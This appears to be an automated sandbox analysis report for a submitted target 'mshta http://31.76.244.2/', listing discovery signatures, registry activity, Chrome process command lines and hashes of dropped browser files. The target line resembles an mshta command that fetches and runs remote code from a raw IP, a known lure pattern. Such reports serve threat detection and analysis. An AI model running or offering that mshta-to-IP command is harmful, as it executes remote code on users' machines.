hxxp://mshta hxxp://31[.]76[.]244[.]2/

Analysis

max time kernel
149s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 23:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://mshta http://31.76.244.2/
Sample260924-3shzcss15m

Score

3^/10

discovery

Malware Config

Signatures

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5052	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134347672201063684"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
5888	chrome.exe
5888	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe
Token: SeShutdownPrivilege	4508	chrome.exe
Token: SeCreatePagefilePrivilege	4508	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe
4508	chrome.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 6024	4508	chrome.exe	88
PID 4508 wrote to memory of 1532	4508	chrome.exe	91
PID 4508 wrote to memory of 5052	4508	chrome.exe	90
PID 4508 wrote to memory of 1532	4508	chrome.exe	91
PID 4508 wrote to memory of 3736	4508	chrome.exe	92
PID 4508 wrote to memory of 3736	4508	chrome.exe	92
PID 4508 wrote to memory of 2504	4508	chrome.exe	94
PID 4508 wrote to memory of 2504	4508	chrome.exe	94
PID 4508 wrote to memory of 260	4508	chrome.exe	95
PID 4508 wrote to memory of 260	4508	chrome.exe	95
PID 4508 wrote to memory of 5668	4508	chrome.exe	96
PID 4508 wrote to memory of 5668	4508	chrome.exe	96
PID 4508 wrote to memory of 3852	4508	chrome.exe	97
PID 4508 wrote to memory of 3852	4508	chrome.exe	97
PID 4508 wrote to memory of 2972	4508	chrome.exe	98
PID 4508 wrote to memory of 4780	4508	chrome.exe	100
PID 4508 wrote to memory of 4780	4508	chrome.exe	100
PID 4508 wrote to memory of 5104	4508	chrome.exe	101
PID 4508 wrote to memory of 5104	4508	chrome.exe	101
PID 4508 wrote to memory of 2672	4508	chrome.exe	104
PID 4508 wrote to memory of 1516	4508	chrome.exe	105
PID 4508 wrote to memory of 2672	4508	chrome.exe	104
PID 4508 wrote to memory of 1516	4508	chrome.exe	105
PID 4508 wrote to memory of 2464	4508	chrome.exe	106
PID 4508 wrote to memory of 5744	4508	chrome.exe	107
PID 4508 wrote to memory of 2464	4508	chrome.exe	106
PID 4508 wrote to memory of 5744	4508	chrome.exe	107
PID 4508 wrote to memory of 1076	4508	chrome.exe	108
PID 4508 wrote to memory of 1076	4508	chrome.exe	108
PID 4508 wrote to memory of 3932	4508	chrome.exe	109
PID 4508 wrote to memory of 3932	4508	chrome.exe	109
PID 4508 wrote to memory of 1488	4508	chrome.exe	110
PID 4508 wrote to memory of 1488	4508	chrome.exe	110
PID 4508 wrote to memory of 5732	4508	chrome.exe	112
PID 4508 wrote to memory of 4948	4508	chrome.exe	113
PID 4508 wrote to memory of 1288	4508	chrome.exe	114
PID 4508 wrote to memory of 4652	4508	chrome.exe	115
PID 4508 wrote to memory of 4652	4508	chrome.exe	115
PID 4508 wrote to memory of 5380	4508	chrome.exe	116
PID 4508 wrote to memory of 5380	4508	chrome.exe	116
PID 4508 wrote to memory of 5888	4508	chrome.exe	117

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://mshta http://31.76.244.2/
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8292bc728,0x7ff8292bc734,0x7ff8292bc740
  2⤵
  PID:6024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,9238581610126468908,4676824047893270863,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
  2⤵
  - System Time Discovery
  PID:5052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,8001315310154407281,13930123058546961768,262144 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
  2⤵
  PID:1532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,13374474934196607646,557237934564329579,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:13
  2⤵
  PID:3736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,10699483844524840860,8764116601080559904,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:1
  2⤵
  PID:2504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3132,i,6084495553786762592,16082288238481864990,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4604,i,16114691405575965432,125591422568425354,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:1
  2⤵
  PID:5668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4420,i,1636941324237353050,15955329253251251820,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4600,i,14464206521939184009,467884050616193662,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:14
  2⤵
  PID:2972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4756,i,11037519907804393710,17112499239830153842,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:1
  2⤵
  PID:4780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5340,i,15286908913058575845,11773867938994469684,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:1
  2⤵
  PID:5104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5708,i,10239091899813189834,7544754908141383417,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
  2⤵
  PID:2672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5772,i,8910888202100004565,10261748880479730749,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
  2⤵
  PID:1516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5572,i,12543014077690745515,13484882691874771043,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
  2⤵
  PID:2464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5948,i,8299522013607224610,13529434258267793031,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:5744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5840,i,14797809373994141222,14342516694653276990,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:1
  2⤵
  PID:1076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5768,i,3084481867601391110,17745096079777032812,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:3932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5872,i,98972340735494958,1942227593368217542,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
  2⤵
  PID:1488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3392,i,18293561162552972233,11672929627402170845,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:14
  2⤵
  PID:5732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5940,i,12888794706949876692,13730059008425664629,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:14
  2⤵
  PID:4948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3456,i,8547262260329166851,2041268779272822174,524288 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:14
  2⤵
  PID:1288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5860,i,11251971262546561258,412447447709078221,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
  2⤵
  PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=800,i,12378119097746579662,13613749174264829570,2097152 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:1
  2⤵
  PID:5380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3408,i,5066000647305930270,14166938437250288306,262144 --field-trial-handle=1908,i,12562927850512043403,8958478368256982386,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5888

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4460

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8f0f74fa-469a-4a8f-ba06-490208c8a6c8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8f0f74fa-469a-4a8f-ba06-490208c8a6c8.tmp
Size 11KB
SHA256 b77377e4860af8f8e6e014113edfa8c1c3289fee0712fddb9ba19b1ba92e9658
MD5 25870f956a3593cdd54af66ae9235678
SHA1 fea3c9af7c8ca1d25690d43c12b203c64665ce93
SHA512 316650730451ffabc89684ac117ab7b9764c53ff7037e4bfb11ce957ad3433a8b01cdd70bb571d13f10af8e341245b8baae225f31ce3b7a188816959bfeb192a
SSDEEP 192:eNG4K6cC7KxkXqK4I40pUZNCgVLHrKHfFKslEIJLXzKD/4j+ErUkKN9loGRfSsVk:QGjDC7KxkXqKf/pUZNCgVLH2HfgslDL3
TLSH
T16F32D827958D9A3F4FD8D51CCC576F8FBCF502926668092456FB9C0803A9BCE114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 e9f54705d9d2a0f875ff78453201d764a56810e2e7b3ca5a5de7c426de514aef
MD5 0c2f27a4766acf006fca8788838103d4
SHA1 cf6a7eae5038c56b7732250aa99ca462856bb0c8
SHA512 d424209d3d585423e42daa654e2b2dfcba0e7509b9262aa61a1dc90ed6e66b612ad0391c274df9900ad629467c0cb00356fe420a3fe4faf3925ef5866f5932a5
TLSH
T155419FF7C3D88A7D890156F8A7156F1FCE290914532C3C56C8E4AE1F53E29F1D21164E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 3303955bc62bb380b1898181be9bef36d1d409f59a9ba0678aace908ce8f40e0
MD5 9adc29f2cb946093f8461a51c0d19f1e
SHA1 1e0998e55f1f37255bd9b5828d12739be5f977e3
SHA512 99e15d1a84efbf3945810a9d9b14820a1c13c5a3e12bf13657bc4c2251d51f606d0a0cdb0b166e48d16ef93a5e312face6cd9106fe653287d4e8b196176a883d
SSDEEP 192:wRLiXcN/v7H8vAPRp2Easy9OHsb+WNnWbP7E2KRKIpI3qkwSX+VyIsnAUge:wRLiX+Xb86XrykwKPg2pK02e
TLSH
T19032952DAD24B53F9CDBC619EA62BB93D7F5102570842E84EAFC893D18E79CC2217407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 3b4fb3886af5aa192b55b38e041c019e25e9c9beebd60b86800f2bb686a8e45b
MD5 077a69df89e8b95bd62efe4139ae68ea
SHA1 5e528a06e217b9f3c6d30ca040e62b5cb48b65b2
SHA512 ef97b813b2df2844454090fdf6c53ee47accbbccbb6e78def539f676c37d06bcf2f0f33aa7ab7f4f15edc8c46f6dae163be44258aaeb90859906abae1d49f272
SSDEEP 192:wRLiXcN/v7H8vjPRpRTEasy9OHsb+WNnWbPWE2KRKIpI3qkwS1+VyIsnAUgE:wRLiX+Xb8DXmykwKPz2pKw2E
TLSH
